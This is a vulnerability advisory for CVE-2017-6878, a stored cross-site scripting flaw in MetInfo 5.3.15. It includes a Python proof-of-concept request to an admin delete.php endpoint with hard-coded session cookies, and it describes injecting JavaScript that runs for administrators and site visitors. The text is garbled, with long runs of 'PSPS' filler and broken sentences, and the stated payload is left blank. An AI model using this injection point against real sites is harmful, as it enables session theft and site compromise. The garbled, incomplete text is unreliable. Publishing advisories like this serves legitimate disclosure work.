PSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPS PSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPSPS [CVE-2017-6878]:MetInfo5.3.15 Stored Cross Site Scripting Application: MetInfo Versions Affected: 5.3.15 Vendor URL: http://www.metinfo.cn/ Software Link:http://www.metinfo.cn/upload/file/MetInfo5.3.zip Bugs: Stored XSS Author:Arice.chen(DBAPPSecurity Ltd) Description: MetInfo was established in March 2009, is a enterprise CMS, more than 40 m enterprises in the use of MeInfo build their own enterprise website. Vulnerability detailsPSo To modify, add a message in problem position insert JavaScript test code Then the background access to relevant pages, or other users access to the front desk page will make the attack code is executed. --------------------------------------------- E-mailPSocallarice@163.com DBAppSecurity Ltd www.dbappsecurity.com.cn POC: import requests url = "http://192.168.0.28/MetInfo5.3/admin/column/delete.php?anyid=25&lang=cn&ajaxmetinfo=1&no_order_2=1&name_2=1&nav_2=1&index_num_2=0&action=editor&lang=cn&anyid=25&allid=2," headers = { "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50", } cookies = dict(PHPSESSID="9o2pth5a43hpj23nflnc7lfi24", recordurl="", met_auth="dfc7PoNLWryZ6Bu2hOEqxsEzRwMf3Nc%2BYqOWCxrSuQ2SivQF%2Fwfo0OP4JEP%2F7QakKJaXa46h5BB3nqrtt58caQaJcQ", met_key="pnZh0Fw", langset="cn", upgraderemind="1", tablepage_json="0%7Cuser%2Cadmin_user%2Cdojson_user_list" ) s = requests.get(url,cookies=cookies,headers=headers,timeout=10,verify=False) if s.status_code==200: print 'Success' Use this POC needs to obtain the cookie after login, because insert JavaScript place in the background. The problem find is delete.php?name_2= payload is : If after the success of the insert JavaScript, to several places in the background and other users access to the front desk page to attack code execution